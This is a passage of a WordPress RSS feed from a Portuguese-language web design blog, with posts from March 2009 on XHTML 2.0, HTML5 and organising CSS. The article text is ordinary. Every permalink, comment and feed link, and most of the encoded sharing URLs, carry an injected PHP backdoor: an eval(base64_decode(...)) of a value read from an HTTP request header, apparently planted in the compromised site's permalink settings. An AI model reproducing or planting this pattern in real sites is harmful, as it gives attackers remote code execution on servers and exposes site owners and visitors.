	<li><a rel="nofollow" href="http://www.facebook.com/share.php?u=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F31%2Fuse-a-cabeca-head-first-html-com-css-xhtml%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;t=Use%20a%20Cabe%C3%A7a%21%20%28Head%20First%29%20HTML%20com%20CSS%20%26%20XHTML" title="Facebook"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="https://favorites.live.com/quickadd.aspx?marklet=1&amp;url=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F31%2Fuse-a-cabeca-head-first-html-com-css-xhtml%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;title=Use%20a%20Cabe%C3%A7a%21%20%28Head%20First%29%20HTML%20com%20CSS%20%26%20XHTML" title="Live"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/live.png" title="Live" alt="Live" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.myspace.com/Modules/PostTo/Pages/?u=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F31%2Fuse-a-cabeca-head-first-html-com-css-xhtml%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;t=Use%20a%20Cabe%C3%A7a%21%20%28Head%20First%29%20HTML%20com%20CSS%20%26%20XHTML" title="MySpace"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/myspace.png" title="MySpace" alt="MySpace" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.tumblr.com/share?v=3&amp;u=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F31%2Fuse-a-cabeca-head-first-html-com-css-xhtml%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;t=Use%20a%20Cabe%C3%A7a%21%20%28Head%20First%29%20HTML%20com%20CSS%20%26%20XHTML&amp;s=" title="Tumblr"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/tumblr.gif" title="Tumblr" alt="Tumblr" class="sociable-hovers" /></a></li>
</ul>
</div>


<p>Posts Relacionados:<ol><li><a href='http://3folks.com/notfordummies/2009/03/24/organizando-seu-codigo-css/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/' rel='bookmark' title='Permanent Link: Organizando seu código CSS'>Organizando seu código CSS</a></li></ol></p>]]></content:encoded>
			<wfw:commentRss>http://3folks.com/notfordummies/2009/03/31/use-a-cabeca-head-first-html-com-css-xhtml/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>As mudanças do XHTML 2.0</title>
		<link>http://3folks.com/notfordummies/2009/03/27/as-mudancas-do-xhtml-20/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://3folks.com/notfordummies/2009/03/27/as-mudancas-do-xhtml-20/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 27 Mar 2009 16:53:06 +0000</pubDate>
		<dc:creator>Leonardo Bighi</dc:creator>
				<category><![CDATA[Web Design]]></category>
		<category><![CDATA[w3c]]></category>
		<category><![CDATA[xhtml]]></category>

		<guid isPermaLink="false">http://3folks.com/notfordummies/?p=233</guid>
		<description><![CDATA[Outro dia eu fiz um resumo das duas tecnologias que estão vindo pra substituir o atual XHTML: XHTML 2.0 e HTML 5. Agora é hora de olhar mais a fundo pra proposta do W3C. Será que ele é tudo que precisamos? Será que é a resposta pros nossos problemas?
Desde a versão 1.0 do XHTML o [...]


No related posts.]]></description>
			<content:encoded><![CDATA[<p>Outro dia eu fiz um resumo das duas tecnologias que estão vindo pra substituir o atual XHTML: <a title="XHTML 2.0 e HTML 5" href="http://3folks.com/notfordummies/web-design/xhtml2-html5-e-outras-coisas-futuristicas"><strong>XHTML 2.0 e HTML 5</strong></a>. Agora é hora de olhar mais a fundo pra proposta do <a title="World Wide Web Consortium" href="http://www.w3.org/">W3C</a>. Será que ele é tudo que precisamos? Será que é a resposta pros nossos problemas?</p>
<p>Desde a versão 1.0 do <strong>XHTML</strong> o consórcio W3C tem empurrado cada vez mais o HTML pro lado do XML. Mas essa versão foi feita pra tentar manter uma grande semelhança e <strong>compatibilidade</strong> com o HTML 4.01, e por isso acabaram mantendo muitos elementos de apresentação no XHTML. Agora, querem dar um grande passo. Querem remover tudo, querem fazer o XHTML que o W3C sempre sonhou. E com isso podem dizer <strong>adeus à retrocompatibilidade</strong>.</p>
<h3>Quanto mais as coisas mudam, mais elas mudam</h3>
<p>A idéia do W3C para o XHTML 2.0 é <strong>remover TODOS os elementos de apresentação</strong>. Ou seja, qualquer coisa no código XHTML que indique como o elemento vai aparecer na tela vai ser removido. Isso é trabalho do CSS. Nessa nova versão morrem as tags &lt;img&gt;, &lt;a&gt;, &lt;br&gt; e algumas outras.</p>
<p>Vai ter uma série de mudanças tão grandes que <strong>não existe compatibilidade</strong> com versões anteriores. Os sites precisarão ser refeitos para validar com as especificações do XHTML 2.0. O problema é que a maioria dos profissionais são ruins. Ainda hoje a maioria dos sites não cumpre nem as especificações do HTML 4.01, imagina se vão mudar pra se adequar a essa nova &#8220;linguagem estranha&#8221;.</p>
<p>Eu conheço ainda pessoas que nem sabem direito o que é <strong>CSS </strong>ou <strong>XHTML</strong>. Profissionais que montam seus sites usando a tag &lt;font&gt; pra formatar o texto, e outras coisas igualmente bizarras. Esse tipo de pessoa nunca vai querer reaprender tudo pra adotar o XHTML 2.0.</p>
<p><a href="http://3folks.com/notfordummies/wp-content/uploads/2009/03/xhtml.jpg"><img class="aligncenter size-full wp-image-235" title="XHTML" src="http://3folks.com/notfordummies/wp-content/uploads/2009/03/xhtml.jpg" alt="XHTML" width="240" height="227" /></a></p>
<p>Vamos dar uma olhada em algumas das principais mudanças:</p>
<p><strong>- Mataram o &lt;a&gt;. Agora tudo é link.</strong></p>
<p>Todos os elementos do XHTML possuem alguns parâmetros padrão, como &#8220;id&#8221;. E agora o parâmetro &#8220;href&#8221; se junta a essa lista. Qualquer elemento poderá receber o parâmetro <em>href </em>e se tornar um link. Você vai poder fazer coisas como &lt;p href=&#8221;http://disney.com&#8221;&gt;&#8230;um monte de texto&#8230;&lt;/p&gt; e terá um parágrafo inteiro funcionando como link.</p>
<p><strong>- Adeus &lt;br&gt;. Olá &lt;line&gt;</strong></p>
<p>Eles não querem que o XHTML tenha nada que force um jeito específico do conteúdo aparecer na página, então uma das primeiras tags a morrerem foi a tag de quebra de linha. Não tinha jeito de impedir, ela só servia pra uma coisa e pronto.</p>
<p>No lugar dela, entre a tag <strong>&lt;line&gt;&lt;/line&gt;</strong>. O padrão é que sempre que você fechar a tag o browser vai quebrar a linha, mas agora você pode evitar esse comportamento se quiser.</p>
<p><span id="more-233"></span></p>
<p><strong>- Um &lt;object&gt; para a todos dominar.</strong></p>
<p>Mais duas tags que morrem: <strong>&lt;img&gt;</strong> e <strong>&lt;applet&gt;</strong>. No lugar delas vem a tag <strong>&lt;object&gt;</strong> que é uma tag extremamente complexa, daquelas meio esotéricas, pra representar diversos tipos de conteúdo de mídia. Se você quiser inserir uma simples imagem, tem que botar esse código todo:</p>
<pre class="xml">&lt;object data="/imagens/sandy-nua.jpg" type="image/gif"&gt;
  Aqui é um texto equivalente ao alt da imagem
&lt;/object&gt;</pre>
<p>A outra opção para exibir uma imagem é usar outro dos novos parâmetros padrão, o <em>src</em>. Qualquer elemento do XHTML agora <strong>pode receber o parâmetro <em>src</em></strong>, que faz aparecer uma imagem no lugar do elemento. Não vejo grandes vantagens deste método em relação ao atributo imagem normal, já que isso não remove a necessidade de ter a imagem dentro do XHTML.</p>
<p><strong>E por aí a vida segue</strong></p>
<p>O <strong>XHTML 2.0</strong> também traz várias outras mudanças, como<strong> formulários mais parrudos</strong> e <strong>novos tipos de listas</strong>. Mas o que me parece é que essa atualização existe apenas para agradar o próprio W3C, e não para realmente resolver os problemas dos desenvolvedores. É uma atualização que quebra toda a compatibilidade com linguagens anteriores e traz mudanças, mas parece que é só pelo prazer de realmente portar tudo pro mais perfeito XML e separar totalmente estrutura e aparência.</p>
<p>Mas cadê as mudanças que realmente torne nossos sites melhores? Isso vai resolver os problemas que estamos tendo hoje? Como isso vai me facilitar a criar bons sites dinâmicos?</p>
<p>Eu não sou o único preocupado com isso, na verdade. Foi justamente pensando em resolver os problemas atuais que as grandes desenvolvedoras se uniram para criar o HTML 5. Mas isso é assunto para outro post.</p>

<div class="sociable">
<div class="sociable_tagline">
<strong>Redes Sociais:</strong>
</div>
<ul>
	<li><a rel="nofollow" href="http://del.icio.us/post?url=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F27%2Fas-mudancas-do-xhtml-20%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;title=As%20mudan%C3%A7as%20do%20XHTML%202.0" title="del.icio.us"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://twitter.com/home?status=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F27%2Fas-mudancas-do-xhtml-20%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F" title="TwitThis"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/twitter.gif" title="TwitThis" alt="TwitThis" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F27%2Fas-mudancas-do-xhtml-20%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;title=As%20mudan%C3%A7as%20do%20XHTML%202.0" title="Google"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/googlebookmark.png" title="Google" alt="Google" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="mailto:?subject=As%20mudan%C3%A7as%20do%20XHTML%202.0&amp;body=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F27%2Fas-mudancas-do-xhtml-20%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F" title="E-mail this story to a friend!"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/email_link.png" title="E-mail this story to a friend!" alt="E-mail this story to a friend!" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.syxt.com.br/rec6/link.php?url=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F27%2Fas-mudancas-do-xhtml-20%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;=As%20mudan%C3%A7as%20do%20XHTML%202.0" title="Rec6"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/rec6.gif" title="Rec6" alt="Rec6" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.stumbleupon.com/submit?url=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F27%2Fas-mudancas-do-xhtml-20%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;title=As%20mudan%C3%A7as%20do%20XHTML%202.0" title="StumbleUpon"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/stumbleupon.png" title="StumbleUpon" alt="StumbleUpon" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://technorati.com/faves?add=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F27%2Fas-mudancas-do-xhtml-20%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F" title="Technorati"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/technorati.png" title="Technorati" alt="Technorati" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F27%2Fas-mudancas-do-xhtml-20%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;title=As%20mudan%C3%A7as%20do%20XHTML%202.0&amp;source=Not+For+Dummies+Al%C3%A9m+do+Hello+World&amp;summary=Outro%20dia%20eu%20fiz%20um%20resumo%20das%20duas%20tecnologias%20que%20est%C3%A3o%20vindo%20pra%20substituir%20o%20atual%20XHTML%3A%20XHTML%202.0%20e%20HTML%205.%20Agora%20%C3%A9%20hora%20de%20olhar%20mais%20a%20fundo%20pra%20proposta%20do%20W3C.%20Ser%C3%A1%20que%20ele%20%C3%A9%20tudo%20que%20precisamos%3F%20Ser%C3%A1%20que%20%C3%A9%20a%20resposta%20pros%20nossos%20prob" title="LinkedIn"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.facebook.com/share.php?u=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F27%2Fas-mudancas-do-xhtml-20%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;t=As%20mudan%C3%A7as%20do%20XHTML%202.0" title="Facebook"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="https://favorites.live.com/quickadd.aspx?marklet=1&amp;url=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F27%2Fas-mudancas-do-xhtml-20%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;title=As%20mudan%C3%A7as%20do%20XHTML%202.0" title="Live"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/live.png" title="Live" alt="Live" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.myspace.com/Modules/PostTo/Pages/?u=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F27%2Fas-mudancas-do-xhtml-20%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;t=As%20mudan%C3%A7as%20do%20XHTML%202.0" title="MySpace"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/myspace.png" title="MySpace" alt="MySpace" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.tumblr.com/share?v=3&amp;u=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F27%2Fas-mudancas-do-xhtml-20%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;t=As%20mudan%C3%A7as%20do%20XHTML%202.0&amp;s=" title="Tumblr"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/tumblr.gif" title="Tumblr" alt="Tumblr" class="sociable-hovers" /></a></li>
</ul>
</div>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://3folks.com/notfordummies/2009/03/27/as-mudancas-do-xhtml-20/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>XHTML2, HTML5 e outras coisas futurísticas</title>
		<link>http://3folks.com/notfordummies/2009/03/27/xhtml2-html5-e-outras-coisas-futuristicas/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://3folks.com/notfordummies/2009/03/27/xhtml2-html5-e-outras-coisas-futuristicas/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 27 Mar 2009 11:00:53 +0000</pubDate>
		<dc:creator>Leonardo Bighi</dc:creator>
				<category><![CDATA[Web Design]]></category>
		<category><![CDATA[html5]]></category>
		<category><![CDATA[xhtml]]></category>

		<guid isPermaLink="false">http://3folks.com/notfordummies/?p=145</guid>
		<description><![CDATA[Nós, gênios modestos que desenvolvem para a web, trabalhamos usando tecnologias que são bem antigas, se levarmos em conta a velocidade com que as coisas mudam. Em 1999 foi definido o XHTML 4.01, e no ano 2000 saiu o XHTML 1.0, que é a tecnologia mais atual para desenvolver os sites. O grande problema é [...]


No related posts.]]></description>
			<content:encoded><![CDATA[<p>Nós, gênios modestos que desenvolvem para a web, trabalhamos usando tecnologias que são bem antigas, se levarmos em conta a velocidade com que as coisas mudam. Em 1999 foi definido o <strong>XHTML 4.01</strong>, e no ano 2000 saiu o <strong>XHTML 1.0</strong>, que é a tecnologia mais atual para desenvolver os sites. O grande problema é que o foco dos sites (e o modo como são usados) mudou bastante nestes últimos 9 anos, e precisamos de algo diferente. Precisamos de algo que resolva nossos problemas. Precisamos do Batman!</p>
<p>(Acabei de receber um fax me proibindo de fazer piadas com super-heróis num site sobre programação. Eu garanto que não há nenhuma referência a um personagem famoso pelos próximos três parágrafos)</p>
<p>Duas grandes tecnologias estão sendo desenvolvidas e deverão estar disponíveis antes de 2099: XHTML 2.0, e HTML 5. <strong>A principal diferença</strong> entre elas é que o HTML 5 é uma evolução de tudo que temos hoje, e o XHTML 2.0 é tão diferente que é quase uma linguagem nova.</p>
<p><strong>Explicando de uma forma clara</strong>, é como se o HTML 5 fosse o seu carro atual, mas com neón azul, turbina e aerofólios, e o XHTML 2.0 seria como vender o seu carro, tirar o seu dinheiro da poupança e comprar um novo importado, com marcha no volante e formato esquisito.</p>
<div id="attachment_159" class="wp-caption aligncenter" style="width: 232px"><a href="http://3folks.com/notfordummies/wp-content/uploads/2009/03/html5.jpg"><img class="size-full wp-image-159" title="HTML 5" src="http://3folks.com/notfordummies/wp-content/uploads/2009/03/html5.jpg" alt="HTML5 está pronto pra briga!" width="222" height="215" /></a><p class="wp-caption-text">HTML5 está pronto pra briga!</p></div>
<p>O que me parece é que alguém perdeu completamente a noção da realidade. Mesmo hoje, <strong>a maioria dos sites não consegue validar</strong> nem contra as especificações do HTML 4.01. Uma boa parte dos programadores é tão ignorante que nem faz idéia do que é XHTML e com qual garfo se come isso. É muito otimismo acreditar que uma revolução completa na linguagem conseguiria uma grande adoção. Não quero ser muito pessimista, mas não acredito no futuro do XHTML, que é desenvolvido pelo consórcio W3C (World Wide Web Consortium).</p>
<p>Já o HTML 5 está sendo sendo desenvolvido pelo grupo <strong>WHATWG </strong>(na minha cabeça, isso é sigla para Why Have A Tomato With Guitars, &#8220;por que ter um tomate com guitarras&#8221;), formado pela Apple, Mozilla, e Opera. Sim, as grandonas do desenvolvimento de navegadores bons. A proposta do HTML 5 é pegar tudo de bom que temos até agora, acrescentar coisas ainda melhores, e corrigir as falhas para que todos os navegadores renderizem os sites da mesma forma. Incluindo os sites que não validam nem com o HTML 4.01. Isso sim parece bom. <strong>O que o Batman faria?</strong></p>
<p>Vou te dizer o que o Batman faria. O Batman sabe que não é muito bom ter duas linguagens concorrendo pra substituir as tecnologias atuais. Ele vai esperar e observar até que, num futuro não tão distante (2030 é perto, não é?) as duas linguagens vão dividir os programadores por um tempo, mas depois uma delas vai ser esquecida e morrer. Porque o Batman é esperto. Ele sabe que <strong>HTML é como Highlander: só pode haver um</strong>. E apenas um dos grupos tem guitarras.</p>

<div class="sociable">
<div class="sociable_tagline">
<strong>Redes Sociais:</strong>
</div>
<ul>
	<li><a rel="nofollow" href="http://del.icio.us/post?url=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F27%2Fxhtml2-html5-e-outras-coisas-futuristicas%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;title=XHTML2%2C%20HTML5%20e%20outras%20coisas%20futur%C3%ADsticas" title="del.icio.us"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://twitter.com/home?status=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F27%2Fxhtml2-html5-e-outras-coisas-futuristicas%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F" title="TwitThis"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/twitter.gif" title="TwitThis" alt="TwitThis" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F27%2Fxhtml2-html5-e-outras-coisas-futuristicas%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;title=XHTML2%2C%20HTML5%20e%20outras%20coisas%20futur%C3%ADsticas" title="Google"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/googlebookmark.png" title="Google" alt="Google" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="mailto:?subject=XHTML2%2C%20HTML5%20e%20outras%20coisas%20futur%C3%ADsticas&amp;body=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F27%2Fxhtml2-html5-e-outras-coisas-futuristicas%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F" title="E-mail this story to a friend!"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/email_link.png" title="E-mail this story to a friend!" alt="E-mail this story to a friend!" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.syxt.com.br/rec6/link.php?url=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F27%2Fxhtml2-html5-e-outras-coisas-futuristicas%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;=XHTML2%2C%20HTML5%20e%20outras%20coisas%20futur%C3%ADsticas" title="Rec6"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/rec6.gif" title="Rec6" alt="Rec6" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.stumbleupon.com/submit?url=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F27%2Fxhtml2-html5-e-outras-coisas-futuristicas%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;title=XHTML2%2C%20HTML5%20e%20outras%20coisas%20futur%C3%ADsticas" title="StumbleUpon"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/stumbleupon.png" title="StumbleUpon" alt="StumbleUpon" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://technorati.com/faves?add=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F27%2Fxhtml2-html5-e-outras-coisas-futuristicas%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F" title="Technorati"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/technorati.png" title="Technorati" alt="Technorati" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F27%2Fxhtml2-html5-e-outras-coisas-futuristicas%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;title=XHTML2%2C%20HTML5%20e%20outras%20coisas%20futur%C3%ADsticas&amp;source=Not+For+Dummies+Al%C3%A9m+do+Hello+World&amp;summary=N%C3%B3s%2C%20g%C3%AAnios%20modestos%20que%20desenvolvem%20para%20a%20web%2C%20trabalhamos%20usando%20tecnologias%20que%20s%C3%A3o%20bem%20antigas%2C%20se%20levarmos%20em%20conta%20a%20velocidade%20com%20que%20as%20coisas%20mudam.%20Em%201999%20foi%20definido%20o%20XHTML%204.01%2C%20e%20no%20ano%202000%20saiu%20o%20XHTML%201.0%2C%20que%20%C3%A9%20a%20tecnologia%20" title="LinkedIn"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.facebook.com/share.php?u=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F27%2Fxhtml2-html5-e-outras-coisas-futuristicas%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;t=XHTML2%2C%20HTML5%20e%20outras%20coisas%20futur%C3%ADsticas" title="Facebook"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="https://favorites.live.com/quickadd.aspx?marklet=1&amp;url=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F27%2Fxhtml2-html5-e-outras-coisas-futuristicas%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;title=XHTML2%2C%20HTML5%20e%20outras%20coisas%20futur%C3%ADsticas" title="Live"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/live.png" title="Live" alt="Live" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.myspace.com/Modules/PostTo/Pages/?u=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F27%2Fxhtml2-html5-e-outras-coisas-futuristicas%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;t=XHTML2%2C%20HTML5%20e%20outras%20coisas%20futur%C3%ADsticas" title="MySpace"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/myspace.png" title="MySpace" alt="MySpace" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.tumblr.com/share?v=3&amp;u=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F27%2Fxhtml2-html5-e-outras-coisas-futuristicas%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;t=XHTML2%2C%20HTML5%20e%20outras%20coisas%20futur%C3%ADsticas&amp;s=" title="Tumblr"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/tumblr.gif" title="Tumblr" alt="Tumblr" class="sociable-hovers" /></a></li>
</ul>
</div>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://3folks.com/notfordummies/2009/03/27/xhtml2-html5-e-outras-coisas-futuristicas/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Organizando seu código CSS</title>
		<link>http://3folks.com/notfordummies/2009/03/24/organizando-seu-codigo-css/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://3folks.com/notfordummies/2009/03/24/organizando-seu-codigo-css/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 24 Mar 2009 12:02:10 +0000</pubDate>
		<dc:creator>Leonardo Bighi</dc:creator>
				<category><![CDATA[Web Design]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[organização]]></category>

		<guid isPermaLink="false">http://3folks.com/notfordummies/?p=37</guid>
		<description><![CDATA[Uma coisa que eu costumava fazer bastante há alguns anos atrás era subestimar o meu código CSS. Sempre começava a escrever achando que ia ser uma coisa pequena e simples, e aí quando me dava conta eu tinha um código de centenas de linhas, confuso, e impossível de achar alguma coisa sem Ctrl + F.
Então [...]


